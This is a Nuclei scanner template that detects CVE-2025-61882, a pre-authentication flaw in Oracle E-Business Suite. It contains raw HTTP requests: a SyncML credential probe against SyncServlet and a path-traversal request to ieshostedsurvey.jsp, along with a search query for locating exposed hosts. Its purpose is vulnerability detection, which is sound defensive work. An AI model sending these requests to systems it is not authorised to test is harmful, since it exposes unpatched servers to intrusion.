id: CVE-2025-61882

info:
  name: Oracle E-Business Suite 12.2.3–12.2.14 – Remote Code Execution
  author: testanull,watchtowr,DhiyaneshDk,pussycat0x
  severity: critical
  description: |
    Oracle Concurrent Processing 12.2.3-12.2.14 contains a remote code execution caused by unauthenticated network access via HTTP, letting unauthenticated attackers fully compromise the system, exploit requires network access via HTTP.
  impact: |
    Unauthenticated attackers can fully compromise Oracle Concurrent Processing, leading to complete system takeover.
  remediation: |
    Update to the latest available version beyond 12.2.14.
  reference:
    - https://labs.watchtowr.com/well-well-well-its-another-day-oracle-e-business-suite-pre-auth-rce-chain-cve-2025-61882well-well-well-its-another-day-oracle-e-business-suite-pre-auth-rce-chain-cve-2025-61882/
    - https://github.com/watchtowrlabs/watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882
    - https://www.oracle.com/security-alerts/alert-cve-2025-61882.html
    - https://blogs.oracle.com/security/post/apply-july-2025-cpu
    - https://vred.mbbank.com.vn/p/oracle-e-business-suite-authentication
    - https://gist.github.com/testanull/a897473577b8650932221172e50304ce#file-ebs_cve-2025-61882_poc-py
  metadata:
    verified: true
    max-request: 1
    fofa-query: title="E-Business Suite"
  tags: cve,cve2025,oracle,ebusiness,lfi,rce,ssrf,kev,vkev,vuln

variables:
  payload: "sysadmin:INVALID"

flow: http(1) || http(2)

http:
  - raw:
      - |
        POST /OA_HTML/SyncServlet HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/vnd.syncml+xml

        <?xml version="1.0" encoding="UTF-8"?>
        <SyncML>
          <SyncHdr>
            <VerDTD>1.1</VerDTD>
            <VerProto>SyncML/1.1</VerProto>
            <SessionID> 1</SessionID>
            <MsgID>1</MsgID>
            <Target><LocURI>http://localhost</LocURI></Target>
            <Source><LocURI>device-123</LocURI></Source>
            <Cred>
              <Meta>
                <Format>b64</Format>
                <Type>syncml:auth-basic</Type>
              </Meta>
              <Data>{{base64(payload)}}</Data>
            </Cred>
          </SyncHdr>
          <SyncBody>
            <Alert>
              <CmdID>1</CmdID>
              <Data>200</Data>
            </Alert>
            <Final/>
          </SyncBody>
        </SyncML>

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "RespURI"
          - "Final"
          - "sid"
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: sid
        part: body
        group: 1
        regex:
          - 'sid%3([A-Za-z0-9]+)%26device'

  - raw:
      - |
        GET /OA_HTML/help/../ieshostedsurvey.jsp HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        name: lfi
        dsl:
          - "status_code == 200"
          - "contains(body, '$Header: ieshostedsurvey.jsp')"
        condition: and
# digest: 4a0a00473045022016cf05a308630f1ef2a660743d2b4196ee059001f4389ab4ecafab2af2b227e6022100e7d0f6a4f5e451c1e76c03d200c103499c24d0ebbcedad09a5dc23046674fb63:922c64590222798bb761d5b6d8e72950